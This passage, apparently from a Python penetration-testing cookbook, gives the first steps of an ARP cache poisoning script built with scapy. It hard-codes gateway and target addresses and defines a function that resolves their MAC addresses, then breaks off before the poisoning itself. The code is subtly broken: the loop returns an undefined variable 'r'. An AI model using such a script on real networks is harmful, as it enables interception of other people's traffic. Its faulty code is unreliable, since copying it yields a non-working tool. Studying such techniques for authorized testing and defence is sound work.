Python Penetration Testing Cookbook

How to do it...

Here are the steps to write a script to poison ARP cache in a victim system:

1. Create a new arp-cache-poisoning.py file and open in your editor.
2. Import the scapy module:

from scapy.all import *  

3. Declare the variables. We could also get these from arguments, or as: raw_input():

interface = "en0"
gateway_ip = "192.168.1.2"
target_ip = "192.168.1.103"
broadcastMac = "ff:ff:ff:ff:ff:ff"
packet_count = 50  

4. Now define a function to get the MAC IDs from the IP provided:

def getMac(IP):
    ans, unans = srp(Ether(dst=broadcastMac)/ARP(pdst = IP), timeout =2, iface=interface, inter=0.1)
    for send,recive in ans: 
        return r[Ether].src
    return None  

5. Now get the MAC address of the target and gateway with the getMac() method:

try:
    gateway_mac ...